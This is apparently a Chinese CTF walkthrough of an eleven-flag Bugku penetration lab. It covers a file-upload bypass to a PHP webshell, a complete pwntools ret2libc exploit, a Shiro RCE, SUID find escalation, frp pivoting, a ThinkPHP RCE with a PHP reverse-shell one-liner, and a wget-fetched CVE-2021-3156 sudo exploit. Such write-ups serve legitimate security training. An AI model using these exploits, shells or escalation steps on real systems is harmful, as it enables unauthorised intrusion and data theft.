Bugku的新模式渗透题~


给了一个网页IP,先nmap扫描下看看有什么服务


开了22/80/8080/9999 这些端口后面会用到,我们先看web服务。

场景1:

访问web主页

查看源代码得到FLAG


Flag1:flag{8888342c9289af87d7fcd8678a7a386c}

给的提示要我们去后台,猜测/admin

场景2:

访问后台/admin

http://47.122.10.163/admin-login-index.html


猜测弱口令admin,admin 登陆成功

在后台找到flag


Flag2:flag{53f9889845ef3b46a84d8e934fca2c79}

且给的提示flag在/home 意思就是要我们getshell进后台

场景3:

在后台查找功能,发现有文件上传,且可以设置上传后缀。


因此我们添加php

然后我们在 “上传图标”处上传一句话木马,经过测试其它上传点不受这个后缀影响,我们进行上传渗透。

直接上传php试试

返回上传后缀为空,因此我们可以猜测后台检测到php后缀会替换为空,所以会这样回显

那么,只要我们双写后缀即可绕过。.pphphp

使用burpsuite进行拦包


后缀修改为双写后,我们得到返回的木马路径

/data/uploads/2022_08_02_420cd674c5d82b50133562842024f595.php

蚁剑直接连接即可。


成功连接,我们直接查看/home里的文件


Flag3:flag{42c2d7db706f095d9875a5ebbb597235}

给出提示在数据库里

场景4:

我们还需要知道root的账号密码,一般网页文件会连接数据库,因此只要我们找到其配置文件config.php即可知道账号密码


得到账号密码root;root

但是啊,这里我们远程连接靶机会发现mysql是没开的

甚至在靶机里也是不能用mysql的

这里我是用mysqldump dump出数据库的,因为一般数据库里的flag表名都叫flag

mysqldump -uroot -proot flag > flag.sql

所以在蚁剑的虚拟终端这里用


找到文件


Flag4:flag{a39a07afd472f580deb6279e7db378dc}

根据提示nc,结合nmap扫描到的端口 猜测是nc 9999端口 得到root权限的shell

场景5:

pwn的文件在/home/ctf里的main文件


我们下载到本地分析 

32位pwn



read这里存在栈溢出,题目没给system和后门地址,需要我们ret2libc

这里用ROPgadger看一下pop esi;edi;ebp;ret


EXP:

from pwn import *

from LibcSearcher import *

context.log_level = 'debug'


r = remote('47.122.10.163',9999)


elf = ELF('./main')


main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']


print(write_got)


ppp_ret = 0x08048559


payload = b'A'*(0x24 + 4) + p32(write_plt) + p32(ppp_ret) + p32(1) + p32(write_got) + p32(8) + p32(main_addr)


r.sendlineafter('plz input your name:\n',payload)


write_addr = u32(r.recv(4))


print(hex(write_addr))


libc = LibcSearcher('write',write_addr)


libc_base = write_addr - libc.dump('write')


system_addr = libc_base + libc.dump('system')


binsh_addr = libc_base + libc.dump('str_bin_sh')


print(hex(system_addr),hex(binsh_addr))


payload = b'A'*40 +p32(system_addr) + b'a'*4 + p32(binsh_addr)


r.sendlineafter('plz input your name:\n',payload)


r.interactive()

运行后libc选择第3个


拿到shell


Flag5:flag{86bc02275ce7a4d8fb7e17c7e6e4ac98}

给出提示8080端口,因此我们待会对8080端口进行渗透

场景6:


我们拿到web题先试试一些敏感路径,比如robots.txt

访问得到FLAG

Flag6: flag{f87597c33d7af97cf2872e373fa7db7f}    

结合提示说flag在/home,因此接下来又需要我们RCE了

场景7:


看到这个remember me直接可以去试试shiro的漏洞了

先拦包看看回显有没有delete me


存在漏洞

这里我们直接用飞鸿师傅的poc工具


成功RCE

这里最好有一个公网VPS,我是用自己阿里云的服务器

然后挂起一个端口进行反弹shell回来


(这里不稳定命令和反弹shell需要多试几次的)

拿到shell


flag在/home cat一下


Flag7:flag{a7081082e1474c72f83b4d84c99b9f62}

这里没给提示,我们猜测是要提权去root里面找flag。

场景8:

我们用户没有权限,需要提权才行。

因此root提权,可以想到用suid提权

find / -perm -4000 -type f 2>/dev/null #查看具有suid 权限的可执行二进制程序


结果里有find,那么直接用find提权即可

大致操作就是去一个有权限的文件夹(如/tmp)创建一个file,然后find file -exec whoami \;即可拿到root权限


拿到root权限,直接查看root里的flag


Flag8:flag{cd2c2f3e6ff29233d78afe3b628f2daa}

这里给的提示是内网渗透了,要我们找内网里的靶机。

(这里没vps做题真的挺困难的)

场景9:

我们关注下这几个靶机的ip,刚刚拿到shell的这台靶机没有ifconfig。。


使用我们之前蚁剑打进去的webshell看


得到IP 192.168.0.2

我们用nmap进行网段扫描一波 

(因为webshell执行的大多命令不会有回显,所以我们输出到一个文件里)

nmap -sT -n 192.168.0.0/24 > res.txt


得到这4个ip,1-3我们都探测到了,因此我们需要渗透192.168.0.4这个IP

服务有80端口和3306。

那么这里衍生的另一个问题来了,我们该如何在外网进行内网渗透,访问这个80端口的网页

我们需要一个代理。

使用frp进行内网穿透,将内网的ip的某个端口映射到我们公网ip的端口,我们再去访问公网的ip即可实现访问内网网站

搭建比较简单,可以去网上找下资料,这里就不详讲了,主要讲一下如何映射端口

以下服务端是我们公网的ip,客户端是内网靶机。

服务端:

frps.ini


bind_addr设置我们自己的ip,
bind_port设置的端口待会要和客户端一致,
token相当于连接密码

需要注意如果你也是阿里云或者别的服务器,设置的端口要设置好防火墙过滤,否则就会失效。

客户端:

frpc.ini


server_addr设置我们公网的ip
server_port设置好你服务端设的端口
token就设置你的连接密码

local_ip就是你要映射的IP
local_Port映射IP的端口
remote_port映射到公网的哪个端口

这里也要记得开一下防火墙过滤端口

两个都设置好后,服务端输入./frps -c frps.ini

客户端输入./frpc -c frpc.ini

成功映射端口


这时候只要我们访问公网的7777端口就是在访问内网ip192.168.0.4的80端口


成功访问。

进行网页我们进行渗透,先试试/admin后台的弱口令。经测试无果。

然后我们访问一个报错的路径,发现这是thinkphp


在底部发现版本号v5.0.20


这个版本存在漏洞,我是直接拿网上的pythonPOC进行使用


可以看到能RCE了。我们最好是反弹一个shell回来

这里试了很久,使用bash&nc&python都无效

后来脑洞一转想到了php,既然使用php写的那么肯定有php服务,使用php反弹shell一句话:

php -r ‘$sock=fsockopen(ip,8888);exec(“/bin/sh -i <&3 >&3 2>&3”);’

同时公网ip挂起端口

成功弹回shell

在/var/www/html根目录下发现flag


Flag9: flag{a62322c1ab634d445a586be44815803d}

给出提示database,数据库3306端口

场景10:

给的提示是数据库,那么我们只要把frp的端口改成3306即可,但我们还需要知道数据库账号密码

同样,我们在网站找配置文件

在/application/database.php找到账号密码aman,aman123


接下来我们改一下端口即可。


我们mysql连接下即可


成功连接,之后找flag即可。


Flag10:flag{9f131e70c9c2cab880980a8fb2b3dafa}

得到提示root,应该是又要我们提权了

场景11:

这里尝试了很久,之前的find提权无效,且suid的东西大多都无用


且因为是webshell的原因,sudo还用不了

这里用的是CVE-2021-3156

先cd /tmp

下载Exp利用代码    wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
解压    tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156/
编译执行    make &&./sudo-hax-me-a-sandwich 0,利用成功
查看用户信息    id,root用户


提权成功!最后查看root里的flag即可。


Flag11:flag{48481200756f8d75f20248e4429fd51e}